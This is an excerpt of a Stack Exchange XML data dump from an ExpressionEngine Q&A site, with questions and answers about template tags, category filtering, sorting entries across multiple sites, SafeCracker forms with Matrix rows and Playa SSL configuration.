  <row Id="6043" PostTypeId="1" AcceptedAnswerId="6045" CreationDate="2013-02-08T14:51:38.247" Score="2" ViewCount="220" Body="&lt;p&gt;Trying to figure out if this is possible using currently available add ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client who wants to be able to pick from a pre-defined list of items in a channel entry field (or fields). He may have a list of 10 requirements to choose from, displayed with checkboxes. Only the ones that he ticks will be displayed on output in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's easy enough using the checkboxes fieldtype...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where it gets complicated - The list of checkboxes are the same across all channel entries (with only selected items being shown) but he wants to be able to inject further data (which differs between entries) into the pre-defined list within the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the following were a list of checkbox items:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This is an item with static data&lt;/li&gt;&#xA;&lt;li&gt;This is an item with &lt;strong&gt;{dynamic}&lt;/strong&gt; data&lt;/li&gt;&#xA;&lt;li&gt;This is an item with static data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Where &lt;strong&gt;{dynamic}&lt;/strong&gt; appears he wants to be able to input fresh data, essentially a field within a field. Does anybody know of a way to achieve this, or possibly a work around?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, possibly a way to map another field to this 'placeholder'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="908" LastActivityDate="2013-02-08T15:03:39.810" Title="Dynamic data in channel fields" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6044" PostTypeId="2" ParentId="6041" CreationDate="2013-02-08T14:59:21.600" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is something like this even possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried relying on categories once for a really complex product hierarchy. I ran out of segment variables (there's a max of 9) for the full tree, and my listing page ended up being a ton of PHP &amp;amp; SQL for each level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just took a look back at that, and I did not show filtered counts. In each tier of categories, I highlighted the selected category, left the unfiltered counts on each category name, and had an &quot;Undo&quot; link at the bottom of a filtered category list that would reset/undo the filter. That way, from a UX perspective, it was obvious that you were in a filtered view within the broader view, and could easily back out.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-08T14:59:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6045" PostTypeId="2" ParentId="6043" CreationDate="2013-02-08T15:03:39.810" Score="1" Body="&lt;p&gt;I can only think of using FIND and REPLACE. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;{replace_field}&quot; replace=&quot;#holder_text&quot;}{checkbox_field}{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with that solution is, I'm not certain if &lt;a href=&quot;http://devot-ee.com/add-ons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt; or any of the replace add-ons will allow you to use contents of one field to replace contents of another. It should be doable, but generally speaking, I've generally only used it to remove {segments} or to replace with predefined text, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;this&quot; replace=&quot;that&quot;}{my_field}{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'd give it a try. I don't see any reason why it wouldn't work. All the field data should be available by then, so parsing shouldn't be an issue.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-08T15:03:39.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6046" PostTypeId="2" ParentId="5994" CreationDate="2013-02-08T15:10:18.487" Score="2" Body="&lt;p&gt;Your problem is your selector: &lt;code&gt;$('form#example-register input#register')&lt;/code&gt;. The submit event is tied to the form, not the submit button. Try changing your selector to &lt;code&gt;$('form#example-register')&lt;/code&gt;. Also adding a &lt;code&gt;console.log('submit')&lt;/code&gt; into the function is good to even see if the event is getting called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, while input[type=&quot;submit&quot;] is accepted, IMO it's better to use a button, since it's a button. This really isn't an error, but I like to be able to call $('input') on any document and be able to omit the buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your last conditional seems a little off. Try breaking the return false; out of that conditional onto it's own. You are technically repeating yourself anyway. If you ever put the same code into an IF as you do the ELSE, it doesn't need to be in the conditional since it gets triggered either way. Be as DRY as possible to make debugging easier.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-08T15:10:18.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6047" PostTypeId="2" ParentId="6041" CreationDate="2013-02-08T15:13:48.410" Score="3" Body="&lt;p&gt;This is a tricky issue. Low Search sits 'on top of' the native Channel Entries method. It optionally executes some non-native filters (like keywords, ranges, search:title, etc) and feeds that to the channel:entries method, which takes care of any native filtering (category, status, search:channel_field, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that before calling channel:entries, LS doesn't know how many entries are actually going to be displayed. If you don't know which entries are going to be displayed, you also don't know which categories apply to them. Pagination throws another spanner in the works, as you &lt;em&gt;could&lt;/em&gt; determine the applicable categories but only if the results were not paginated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this scenario, it seems impossible to get a filtered count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to get to them, would be to have a list of entry_ids available from the channel:entries tag (and thus the low_search:results tag) that make up the entire list of results, regardless of pagination. With that list, it would be possible to have a category count. But I'm pretty sure that info isn't available through EE's hooks at the moment.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-08T15:13:48.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6048" PostTypeId="1" AcceptedAnswerId="6049" CreationDate="2013-02-08T16:13:33.587" Score="1" ViewCount="159" Body="&lt;p&gt;I have a strange issue, that I am hoping is something simple, and I'm just missing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channels, that have different sets of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my first channel, I display what child cat it is in via GWcode categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories style=&quot;linear&quot; last_only=&quot;yes&quot; channel=&quot;walks&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;&amp;lt;span class=&quot;location&quot;&amp;gt;&amp;lt;i class=&quot;icon-location&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;{path='walks/category/{cat_url_title}'}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me the Url of &lt;code&gt;domain.com/walks/category/categoryname&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have a template via Switchee, that displays these entries in this category. It uses segment 2 as the case value {category) and then displays the following channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;walks&quot; status=&quot;open|new&quot; disable=&quot;member_data|category_fields&quot; show_expired=&quot;yes&quot; paginate=&quot;bottom&quot; limit=&quot;10&quot;}&#xA;&#xA;{lv_walkdetails_main}&#xA;{lv_pagination}&#xA;&#xA;{if switchee_no_results}&#xA;&#xA;&amp;lt;p&amp;gt;Sorry, no results!&amp;lt;/p&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, as I said this displays all the entries that are listed within that category, however when I perform nearly exactly the same thing on another channel, &quot;news&quot;, it displays every single entry, regardless as to whats in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here? Whats the preferred way to showing a list of entries that belong to a certain child category?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-08T16:26:43.270" Title="Displaying entries listed within a category, strange!" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6049" PostTypeId="2" ParentId="6048" CreationDate="2013-02-08T16:21:26.470" Score="2" Body="&lt;p&gt;From the looks of it, you have no &lt;code&gt;category&lt;/code&gt; parameter set in the &lt;code&gt;entries&lt;/code&gt; tag. So right now, the &lt;code&gt;entries&lt;/code&gt; tag is listing all entries in the channel &lt;code&gt;walks&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the &lt;code&gt;entries&lt;/code&gt; tag dynamic based off the current category, I suggest using a addon like &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt; (which I prefer for the extra  helpful variables) to dynamically set the &lt;code&gt;category&lt;/code&gt; parameter in the &lt;code&gt;entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, based off your example URL, the category name is in the third segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    category=&quot;{segment_3_category_id}&quot;&#xA;    channel=&quot;walks&quot;&#xA;    disable=&quot;member_data|category_fields&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    show_expired=&quot;yes&quot;&#xA;    status=&quot;open|new&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-08T16:26:43.270" LastActivityDate="2013-02-08T16:26:43.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6050" PostTypeId="2" ParentId="5619" CreationDate="2013-02-08T16:49:35.777" Score="2" Body="&lt;p&gt;I have discovered what was happening, and it turns out I was actually having two different problems. The embedded template was not showing up because I needed to add the parameter dynamic=&quot;no&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;events&quot; limit=&quot;1&quot; url_title=&quot;{segment_2}&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;div class=&quot;video-box&quot;&amp;gt;&#xA;   {embed=&quot;templategroup/event_video&quot; the_id=&quot;{video_id}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I found that what I was looking for was using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Relationships&lt;/a&gt;, not embedded templates in this case, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;events&quot; limit=&quot;1&quot; url_title={segment_2}}&#xA;&amp;lt;div class=&quot;video-box&quot;&amp;gt;&#xA;   {related_entries id=&quot;pre_event_video&quot;}&#xA;      &amp;lt;a href=&quot;http://{video_player_url}?autoplay=1&quot;&amp;gt;&amp;lt;img class=&quot;placeholder&quot; src=&quot;{pre_event_video_thumbnail}&quot; width=&quot;336&quot; height=&quot;305&quot; alt=&quot;image description&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;   {/related_entries}   &#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the help, and I hope that this helps someone else out as well!&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-02-08T16:49:35.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6051" PostTypeId="1" AcceptedAnswerId="6052" CreationDate="2013-02-08T17:13:16.437" Score="1" ViewCount="792" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2 and am unable to get my entries to sort by a custom date field. I have two sites through the Multisite Manager that I am pulling entries from. On both sites, the custom date field short name is the same - &quot;event_date&quot;. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  site=&quot;site1|site2&quot; channel=&quot;events&quot; orderby=&quot;event_date&quot; sort=&quot;asc&quot; status=&quot;next event|open&quot;  limit=&quot;7&quot;}&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;span class=&quot;event-name&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;date&quot;&amp;gt;{event_date format=&quot;%d %M %Y&quot;}&amp;lt;/span&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the result in the browser:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Berlin 2013 ... 05 Mar 2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tokyo 2013 ... 13 Feb 2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;London 2013 ... 17 Apr 2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Los Angeles 2013 ... 16 May 2013&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Berlin is a part of Site2, and its status is &quot;Next Event&quot;. Los Angeles, London, and Tokyo are a part of Site1, and their statuses are all set to &quot;open&quot;. Anyone know what's wrong?&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-02-08T19:15:52.453" Title="Orderby Custom Date Not Working" Tags="|channel-entries|custom-fields|date|list|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6052" PostTypeId="2" ParentId="6051" CreationDate="2013-02-08T17:24:27.343" Score="1" Body="&lt;p&gt;You need to specify the field for each site individually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;site1_shortname:event_date|site2_shortname:event_date&quot; sort=&quot;asc|asc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's happening right now is that it's matching the field name &lt;code&gt;event_date&lt;/code&gt; to site 1 and ordering by that field for site 1, but using the default &lt;code&gt;orderby&lt;/code&gt; (&lt;code&gt;entry_date&lt;/code&gt;) for site 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, thinking about this further, this is actually expected behaviour. When specifying multiple &lt;code&gt;orderby&lt;/code&gt; fields, it's sequential. So first you're ordering by field_id_X (whatever &lt;code&gt;event_date&lt;/code&gt; is in &lt;code&gt;site1&lt;/code&gt;). Well, site 2's entries are &lt;code&gt;0&lt;/code&gt; in that field, so they come first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to use a common field, like &lt;code&gt;entry_date&lt;/code&gt;, to order entries from both sites sequentially &lt;em&gt;together&lt;/em&gt;. (Check out &lt;a href=&quot;http://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;EEvent Helper&lt;/a&gt;, which allows you to clone a custom date field to the Entry Date, among other things.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-02-08T19:15:52.453" LastActivityDate="2013-02-08T19:15:52.453" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6053" PostTypeId="1" AcceptedAnswerId="14083" CreationDate="2013-02-08T17:34:59.257" Score="3" ViewCount="449" Body="&lt;p&gt;I've frequently done this with success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:my_plugin:my_method}'}My method returned true{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the opposite also works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:my_plugin:my_method}' == '0'}My method returned false{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, doing this for methods &lt;strong&gt;with dynamic parameters&lt;/strong&gt; that also return a string instead of a boolean seems to be impossible - eg (inside of a channel entries tag):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:my_plugin:my_method entry_id=&quot;{entry_id}&quot;}' == 'blah'}My method returned the word blah{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly, calling the plugin outside the conditional at least once in the same template makes the conditional work as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test output: {exp:my_plugin:my_method entry_id=&quot;{entry_id}&quot;}&#xA;{if '{exp:my_plugin:my_method entry_id=&quot;{entry_id}&quot;}' == 'blah'}My method returned the word blah{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but this is obviously far too weird and fragile to be useful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if I'm missing something obvious or making a mistake?&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-02-08T17:50:12.707" LastActivityDate="2013-09-26T11:53:07.700" Title="plugin value in a template conditional" Tags="|conditionals|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6054" PostTypeId="2" ParentId="6035" CreationDate="2013-02-08T17:39:53.150" Score="1" Body="&lt;p&gt;Your best bet would be to transition over to the PayPal Express gateway as it still uses the PayPal Standard account (no monthly fees) but it uses PayPal's newer API which is more reliable then requiring an IPN notification to be sent. It also allows for guest checkout and transferring address details from your site to PayPal. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-08T17:39:53.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6055" PostTypeId="1" AcceptedAnswerId="6057" CreationDate="2013-02-08T18:01:03.980" Score="1" ViewCount="173" Body="&lt;p&gt;I am trying to use Matrix within a Safecracker field. I am able to submit entries successfully. However I can only submit one row to the custom matrix field. Even if I have added more than one row in my form and return a successful submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the HTML, JS and appended HTML code in question.&#xA;Help is extremely appreciated. I'm under a serious time crunch and it's the last thing on my list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;Add attendees&amp;lt;/h4&amp;gt;  &#xA;&amp;lt;input type=&quot;hidden&quot; data-field=&quot;ug_reg_attendees&quot; name=&quot;ug_reg_attendees[row_order][]&quot; value=&quot;row_new_0&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;attendee_group&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;input-prepend&quot;&amp;gt;  &#xA;      &amp;lt;span class=&quot;add-on&quot;&amp;gt;&amp;lt;div class=&quot;validation-circle&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/span&amp;gt;  &#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;ug_reg_attendees[row_new_0][col_id_52]&quot; placeholder=&quot;First Name&quot; /&amp;gt;  &#xA;      &amp;lt;div class=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;input-prepend&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;add-on&quot;&amp;gt;&amp;lt;div class=&quot;validation-circle&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;ug_reg_attendees[row_new_0][col_id_53]&quot; placeholder=&quot;Last Name&quot; /&amp;gt;&#xA;      &amp;lt;div class=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;input-prepend&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;add-on&quot;&amp;gt;&amp;lt;div class=&quot;validation-circle&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;input type=&quot;email&quot; name=&quot;ug_reg_attendees[row_new_0][col_id_54]&quot; placeholder=&quot;Email Address&quot; /&amp;gt;&#xA;      &amp;lt;div class=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;btn pill blue&quot; id=&quot;add_attendee&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;topping&quot;&amp;gt;Add Attendee &amp;lt;strong&amp;gt;+&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#add_attendee&quot;).live(&quot;click&quot;, function(e) {&#xA;   e.preventDefault();&#xA;   var $row = $(&quot;.attendee_group:eq(0)&quot;).last();&#xA;   var size = $(&quot;.attendee_group&quot;).length;&#xA;   var $clone = $row.clone().html().replace(/row_new_0/g, &quot;row_new_&quot;+size);&#xA;   $(&quot;.attendee_group:last&quot;).after(&quot;&amp;lt;div class='attendee_group'&amp;gt;&quot;+$clone+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Outputted code:&lt;/strong&gt; &lt;em&gt;(when at least 1 row is added)&lt;/em&gt;&#xA;    &#xA;       &#xA;       &#xA;       &#xA;       &#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;input-prepend&quot;&amp;gt;&#xA;   &amp;lt;span class=&quot;add-on&quot;&amp;gt;&amp;lt;div class=&quot;validation-circle&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/span&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;ug_reg_attendees[row_new_1][col_id_53]&quot; placeholder=&quot;Last Name&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;input-prepend&quot;&amp;gt;&#xA;   &amp;lt;span class=&quot;add-on&quot;&amp;gt;&amp;lt;div class=&quot;validation-circle&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/span&amp;gt;&#xA;   &amp;lt;input type=&quot;email&quot; name=&quot;ug_reg_attendees[row_new_1][col_id_54]&quot; placeholder=&quot;Email Address&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="972" LastActivityDate="2013-02-08T19:27:33.030" Title="Safecracker Matrix only publishing one row, even if more are added" Tags="|safecracker|matrix|custom-fields|jquery|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6056" PostTypeId="2" ParentId="6055" CreationDate="2013-02-08T18:07:08.710" Score="1" Body="&lt;p&gt;Lucas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to include Matrix in your SafeCracker form is using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#field-my-field-name&quot; rel=&quot;nofollow&quot;&gt;{field:my_field_name} variable&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{field:my_field_name}&#xA;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way it'll include all of the necessary setup for Matrix to work correctly in SafeCracker and avoids what you are running into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-02-08T18:12:41.927" LastActivityDate="2013-02-08T18:12:41.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6057" PostTypeId="2" ParentId="6055" CreationDate="2013-02-08T18:20:17.823" Score="1" Body="&lt;p&gt;I'm looking at an example where we did this. We did a .load in jQuery, pulling in the HTML from another template that was set up to build the HTML for the new row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm seeing that we passed an updated value for each to that URL, and used that value on each -- &lt;code&gt;field_name[row_new_0][col_id_X]&lt;/code&gt; -- for the input name, with 0, 1, 2, etc creating a new rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your outputted code only shows an example of row_new_1 for the new rows, so I can't see that the other rows have incremental values..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try switching to row_new_0, row_new_1, row_new_2 for all new rows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; We also included:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;field_name[row_order][]&quot; value=&quot;row_new_0&quot; type=&quot;hidden&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In each added row. I'm not sure what that is for, but I don't see it your code. We incremented that each time too. (&lt;code&gt;row_new_0&lt;/code&gt;, &lt;code&gt;row_new_1&lt;/code&gt;, etc)&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-08T19:27:33.030" LastActivityDate="2013-02-08T19:27:33.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6058" PostTypeId="2" ParentId="5934" CreationDate="2013-02-08T18:27:42.863" Score="4" Body="&lt;p&gt;If it’s just the search/filters that aren’t working, Playa uses Ajax to apply those things, which goes through your Site URL, not your themes folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don’t want to set your main site URL to use SSL, you can give Playa an alternate URL to use by opening up system/expressionengine/config/config.php and adding this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['playa_site_index'] = &quot;https://example.com/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-02-08T18:27:42.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6059" PostTypeId="1" CreationDate="2013-02-08T18:37:48.193" Score="2" ViewCount="1395" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2 and would like to create, for lack of a better phrase, &quot;vertical pagination&quot; for my channel entries. This would be similar to infinite scrolling, but instead of more entries loading automatically, I would like the user to have to click a &quot;more entries&quot; link. Currently my homepage shows 6 blog posts, and when someone clicks &quot;more entries,&quot; I'd like 6 more entries to show up below the 1st 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reason for this is that I would like to user to always be able to reach my website's footer containing links no matter how far down the page they are, but also not have to have another page load like regular pagination does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no clue where to even start with this, and I am not fluent with jquery. Is there a plugin that does this? Is there a tutorial I can check out? Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-02-08T19:04:30.783" Title="Click to Load More Entries / Vertical Pagination" Tags="|channel-entries|pagination|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6061" PostTypeId="2" ParentId="6059" CreationDate="2013-02-08T18:42:26.187" Score="1" Body="&lt;p&gt;Justin Long posted an article a while back about how to add infinite scrolling to paginated pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://iamjustinlong.com/blog/single/implementing_infinite_scroll_in_your_expressionengine_site/&quot; rel=&quot;nofollow&quot;&gt;http://iamjustinlong.com/blog/single/implementing_infinite_scroll_in_your_expressionengine_site/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near the end he explains how to add the extra entries when clicking a link, as opposed to just scrolling.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-08T18:42:26.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
